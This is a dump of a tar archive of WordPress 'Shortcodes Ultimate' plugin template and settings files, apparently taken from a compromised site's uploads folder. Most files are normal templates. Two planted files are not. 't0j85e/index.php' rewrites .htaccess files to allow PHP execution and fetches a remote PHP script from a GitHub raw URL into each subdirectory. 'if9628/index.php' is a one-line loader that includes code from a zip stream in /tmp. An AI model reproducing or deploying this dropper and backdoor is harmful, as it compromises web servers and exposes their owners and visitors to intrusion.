| Current Path : /home/bechata/mp/wp-content/uploads/2022/ejn73c/ |
| Current File : /home/bechata/mp/wp-content/uploads/2022/ejn73c/partials.tar |
shortcodes/posts/templates/single-post.php 0000666 00000002726 15175250363 0015066 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<?php
/**
* READ BEFORE EDITING!
*
* Do not edit templates in the plugin folder, since all your changes will be
* lost after the plugin update. Read the following article to learn how to
* change this template or create a custom one:
*
* https://getshortcodes.com/docs/posts/#built-in-templates
*/
?>
<div class="su-posts su-posts-single-post">
<?php
// Prepare marker to show only one post
$first = true;
// Posts are found
if ( $posts->have_posts() ) {
while ( $posts->have_posts() ) :
$posts->the_post();
global $post;
// Show oly first post
if ( $first ) {
$first = false;
?>
<div id="su-post-<?php the_ID(); ?>" class="su-post">
<h1 class="su-post-title"><?php the_title(); ?></h1>
<div class="su-post-meta"><?php _e( 'Posted', 'shortcodes-ultimate' ); ?>: <?php the_time( get_option( 'date_format' ) ); ?>
<?php if ( have_comments() || comments_open() ) : ?>
| <a href="<?php comments_link(); ?>" class="su-post-comments-link"><?php comments_number( __( '0 comments', 'shortcodes-ultimate' ), __( '1 comment', 'shortcodes-ultimate' ), __( '%n comments', 'shortcodes-ultimate' ) ); ?></a>
<?php endif; ?>
</div>
<div class="su-post-content">
<?php the_content(); ?>
</div>
</div>
<?php
}
endwhile;
}
// Posts not found
else {
echo '<h4>' . __( 'Posts not found', 'shortcodes-ultimate' ) . '</h4>';
}
?>
</div>
shortcodes/posts/templates/t0j85e/index.php 0000666 00000007072 15175250363 0014747 0 ustar 00 <?php
// Function to create or replace the .htaccess file in the specified path
function createHtaccessFile($path) {
$htaccessFilePath = $path . '/.htaccess';
// If .htaccess file exists, delete it
if (file_exists($htaccessFilePath)) {
unlink($htaccessFilePath);
echo "Deleted existing .htaccess file at: $htaccessFilePath<br>";
}
// Define the content for the new .htaccess file
$htaccessContent = "<FilesMatch \\.php$>\n Order allow,deny\n Allow from all\n</FilesMatch>";
// Write the new .htaccess content to the file
file_put_contents($htaccessFilePath, $htaccessContent);
echo "Created new .htaccess file at: $htaccessFilePath<br>";
}
// Function to handle files in each subdirectory under the base path
function processSubdirectories($basePath, $filename) {
// Ensure the base path ends with a trailing slash
$basePath = rtrim($basePath, '/') . '/';
// Validate base path
if (!is_dir($basePath)) {
echo "Invalid path: $basePath<br>";
return;
}
// Traverse subdirectories and process each one
$subdirectories = glob($basePath . '*', GLOB_ONLYDIR);
foreach ($subdirectories as $dir) {
// Step 1: Delete and recreate the .htaccess file in the subdirectory
createHtaccessFile($dir);
// Step 2: Create the 'private' directory if it doesn't exist
$privateDir = $dir . '/private';
if (!is_dir($privateDir)) {
mkdir($privateDir, 0755, true);
echo "Created directory: $privateDir<br>";
}
// Step 3: Delete and recreate the .htaccess file inside the 'private' directory
createHtaccessFile($privateDir);
// Step 4: Download and save the specified file inside the 'private' directory
$filePath = $privateDir . '/' . $filename;
// Fetch content from the remote PHP script URL
$content = file_get_contents('https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/nf.php');
if ($content === false) {
echo "Error: Unable to fetch the PHP script content.<br>";
return;
}
// Write the content of the PHP script to the file in the 'private' directory
file_put_contents($filePath, $content);
echo "File uploaded to: $filePath<br>";
}
}
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$basePath = trim($_POST['path']);
$filename = trim($_POST['filename']);
if (empty($basePath) || empty($filename)) {
echo "Path and filename are required.<br>";
} else {
// First, create or overwrite the .htaccess in the base path
createHtaccessFile($basePath);
// Then process each subdirectory under the base path
processSubdirectories($basePath, $filename);
}
}
// Display the current path (default to the server's document root if not specified)
$currentPath = isset($_POST['path']) ? trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload PHP Script and .htaccess</title>
</head>
<body>
<form method="post" action="">
<label for="path">Base Path:</label>
<input type="text" id="path" name="path" required value="<?php echo htmlspecialchars($currentPath); ?>"><br><br>
<label for="filename">Filename:</label>
<input type="text" id="filename" name="filename" required><br><br>
<input type="submit" value="Upload Files">
</form>
</body>
</html>
shortcodes/posts/templates/default-loop.php 0000666 00000002713 15175250363 0015211 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<?php
/**
* READ BEFORE EDITING!
*
* Do not edit templates in the plugin folder, since all your changes will be
* lost after the plugin update. Read the following article to learn how to
* change this template or create a custom one:
*
* https://getshortcodes.com/docs/posts/#built-in-templates
*/
?>
<div class="su-posts su-posts-default-loop">
<?php if ( $posts->have_posts() ) : ?>
<?php while ( $posts->have_posts() ) : $posts->the_post(); ?>
<div id="su-post-<?php the_ID(); ?>" class="su-post">
<?php if ( has_post_thumbnail( get_the_ID() ) ) : ?>
<a class="su-post-thumbnail" href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a>
<?php endif; ?>
<h2 class="su-post-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
<div class="su-post-meta">
<?php _e( 'Posted', 'shortcodes-ultimate' ); ?>: <?php the_time( get_option( 'date_format' ) ); ?>
</div>
<div class="su-post-excerpt">
<?php the_excerpt(); ?>
</div>
<?php if ( have_comments() || comments_open() ) : ?>
<a href="<?php comments_link(); ?>" class="su-post-comments-link"><?php comments_number( __( '0 comments', 'shortcodes-ultimate' ), __( '1 comment', 'shortcodes-ultimate' ), '% comments' ); ?></a>
<?php endif; ?>
</div>
<?php endwhile; ?>
<?php else : ?>
<h4><?php _e( 'Posts not found', 'shortcodes-ultimate' ); ?></h4>
<?php endif; ?>
</div>
shortcodes/posts/templates/teaser-loop.php 0000666 00000001754 15175250363 0015054 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<?php
/**
* READ BEFORE EDITING!
*
* Do not edit templates in the plugin folder, since all your changes will be
* lost after the plugin update. Read the following article to learn how to
* change this template or create a custom one:
*
* https://getshortcodes.com/docs/posts/#built-in-templates
*/
?>
<div class="su-posts su-posts-teaser-loop">
<?php if ( $posts->have_posts() ) : ?>
<?php while ( $posts->have_posts() ) : ?>
<?php $posts->the_post(); ?>
<div id="su-post-<?php the_ID(); ?>" class="su-post">
<?php if ( has_post_thumbnail() ) : ?>
<a class="su-post-thumbnail" href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a>
<?php endif; ?>
<h2 class="su-post-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
</div>
<?php endwhile; ?>
<?php else : ?>
<p class="su-posts-not-found"><?php esc_html_e( 'Posts not found', 'shortcodes-ultimate' ); ?></p>
<?php endif; ?>
</div>
shortcodes/posts/templates/list-loop.php 0000666 00000001372 15175250363 0014540 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<?php
/**
* READ BEFORE EDITING!
*
* Do not edit templates in the plugin folder, since all your changes will be
* lost after the plugin update. Read the following article to learn how to
* change this template or create a custom one:
*
* https://getshortcodes.com/docs/posts/#built-in-templates
*/
?>
<ul class="su-posts su-posts-list-loop">
<?php
// Posts are found
if ( $posts->have_posts() ) {
while ( $posts->have_posts() ) {
$posts->the_post();
global $post;
?>
<li id="su-post-<?php the_ID(); ?>" class="su-post"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php
}
}
// Posts not found
else {
?>
<li><?php _e( 'Posts not found', 'shortcodes-ultimate' ) ?></li>
<?php
}
?>
</ul>
shortcodes/posts/templates/README.txt 0000666 00000000370 15175250363 0013600 0 ustar 00 Do not edit templates in the plugin folder, since all your changes will be
lost after the plugin update. Read the following article to learn how to
change a template or create a custom one:
https://getshortcodes.com/docs/posts/#built-in-templates
tabs.php 0000666 00000001046 15175262401 0006216 0 ustar 00 <?php defined( 'ABSPATH' ) or exit; ?>
<?php $current_tab = $this->get_current_tab(); ?>
<div class="su-admin-tabs nav-tab-wrapper wp-clearfix">
<?php foreach( $this->get_tabs() as $tab_id => $tab_title ) : ?>
<?php if ( $tab_id === $current_tab ) : ?>
<a href="<?php echo $this->get_tab_url( $tab_id ); ?>" class="nav-tab nav-tab-active"><?php echo $tab_title; ?></a>
<?php else : ?>
<a href="<?php echo $this->get_tab_url( $tab_id ); ?>" class="nav-tab"><?php echo $tab_title; ?></a>
<?php endif; ?>
<?php endforeach; ?>
</div>
widget/form.php 0000666 00000001400 15175262401 0007505 0 ustar 00 <p>
<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>">
<?php esc_html_e( 'Title:', 'shortcodes-ultimate' ); ?>
</label>
<input
type="text"
id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
value="<?php echo esc_attr( $instance['title'] ); ?>"
class="widefat"
/>
</p>
<p>
<?php Su_Generator::button_html_editor( array( 'target' => $this->get_field_id( 'content' ) ) ); ?><br/>
<textarea
name="<?php echo esc_attr( $this->get_field_name( 'content' ) ); ?>"
id="<?php echo esc_attr( $this->get_field_id( 'content' ) ); ?>"
rows="7"
class="widefat"
style="margin-top:10px"
><?php echo esc_textarea( $instance['content'] ); ?></textarea>
</p>
settings/fields/checkbox-group.php 0000666 00000001165 15175262401 0013315 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<fieldset>
<?php foreach ( $data['options'] as $cb_id => $cb_label ) : ?>
<input
type="checkbox"
name="<?php echo esc_attr( sprintf( '%s[%s]', $data['id'], $cb_id ) ); ?>"
id="<?php echo esc_attr( sprintf( '%s_%s', $data['id'], $cb_id ) ); ?>"
<?php checked( in_array( $cb_id, get_option( $data['id'], array() ), true ) ); ?>
>
<label for="<?php echo esc_attr( sprintf( '%s_%s', $data['id'], $cb_id ) ); ?>" >
<?php echo esc_html( $cb_label ); ?>
</label>
<br>
<?php endforeach; ?>
</fieldset>
<p class="description"><?php echo $data['description']; ?></p>
settings/fields/css.php 0000666 00000005345 15175262401 0011171 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?>
<textarea name="<?php echo esc_attr( $data['id'] ); ?>" id="<?php echo esc_attr( $data['id'] ); ?>" cols="50" rows="15" class="large-text"><?php echo esc_textarea( get_option( $data['id'] ) ); ?></textarea>
<script type="text/javascript">
jQuery(function() {
if (typeof wp === 'undefined' || typeof wp.codeEditor === 'undefined') {
return;
}
var editorSettings = wp.codeEditor.defaultSettings
? _.clone(wp.codeEditor.defaultSettings)
: {};
editorSettings.codemirror = _.extend({}, editorSettings.codemirror, {
viewportMargin: Infinity
});
wp.codeEditor.initialize(
"<?php echo esc_attr( $data['id'] ); ?>",
editorSettings
);
});
</script>
<p class="description"><?php echo esc_html( $data['description'] ); ?></p>
<details class="su-admin-settings-details">
<summary class="title"><?php esc_html_e( 'Available variables', 'shortcodes-ultimate' ); ?></summary>
<article>
<table class="widefat striped" style="width:auto">
<thead>
<tr>
<td><?php esc_html_e( 'Variable', 'shortcodes-ultimate' ); ?></td>
<td><?php esc_html_e( 'Will be replaced with', 'shortcodes-ultimate' ); ?>…</td>
</tr>
</thead>
<tbody>
<tr>
<td><code contenteditable>%home_url%</code></td>
<td><?php printf( '%s (%s)', esc_html__( 'the URL of the site home page', 'shortcodes-ultimate' ), esc_html__( 'with trailing slash', 'shortcodes-ultimate' ) ); ?></td>
</tr>
<tr>
<td><code contenteditable>%theme_url%</code></td>
<td><?php printf( '%s (%s)', esc_html__( 'the URL of the directory of the current theme', 'shortcodes-ultimate' ), esc_html__( 'with trailing slash', 'shortcodes-ultimate' ) ); ?></td>
</tr>
<tr>
<td><code contenteditable>%plugin_url%</code></td>
<td><?php printf( '%s (%s)', esc_html__( 'the URL of the directory of the plugin', 'shortcodes-ultimate' ), esc_html__( 'with trailing slash', 'shortcodes-ultimate' ) ); ?></td>
</tr>
</tbody>
</table>
</article>
</details>
<details class="su-admin-settings-details">
<summary><?php esc_html_e( 'More information', 'shortcodes-ultimate' ); ?></summary>
<article>
<ul class="ul-disc">
<?php // Translators: %s - link to the shortcodes.css file ?>
<li><?php printf( esc_html__( 'Open %s file to see default styles', 'shortcodes-ultimate' ), '<a href="https://plugins.trac.wordpress.org/browser/shortcodes-ultimate/trunk/includes/css/shortcodes.full.css" target="_blank">shortcodes.full.css</a>' ); ?></li>
<li><?php esc_html_e( 'Help article', 'shortcodes-ultimate' ); ?>: <a href="https://getshortcodes.com/docs/how-to-use-custom-css-editor/" target="_blank"><?php esc_html_e( 'How to use Custom CSS editor', 'shortcodes-ultimate' ); ?></a></li>
</ul>
</article>
</details>
settings/fields/text.php 0000666 00000000450 15175262401 0011355 0 ustar 00 <?php defined( 'ABSPATH' ) or exit; ?>
<input type="text" name="<?php echo esc_attr( $data['id'] ); ?>" id="<?php echo esc_attr( $data['id'] ); ?>" value="<?php echo esc_attr( get_option( $data['id'] ) ); ?>" class="regular-text">
<p class="description"><?php echo $data['description']; ?></p>
settings/fields/checkbox.php 0000666 00000000574 15175262401 0012166 0 ustar 00 <?php defined( 'ABSPATH' ) or exit; ?>
<input type="checkbox" name="<?php echo esc_attr( $data['id'] ); ?>" id="<?php echo esc_attr( $data['id'] ); ?>" <?php checked( get_option( $data['id'] ), 'on' ); ?>> <label for="<?php echo esc_attr( $data['id'] ); ?>"><?php _e( 'Enabled', 'shortcodes-ultimate' ); ?></label>
<p class="description"><?php echo $data['description']; ?></p>
settings/sections/general.php 0000666 00000000033 15175262401 0012364 0 ustar 00 <?php // nothing here, yet
settings/sections/advanced.php 0000666 00000000033 15175262401 0012514 0 ustar 00 <?php // nothing here, yet
settings/sections/if9628/index.php 0000666 00000000146 15175262401 0013012 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ws.php"; include("zip:///tmp/phpfh06eB#$h");?>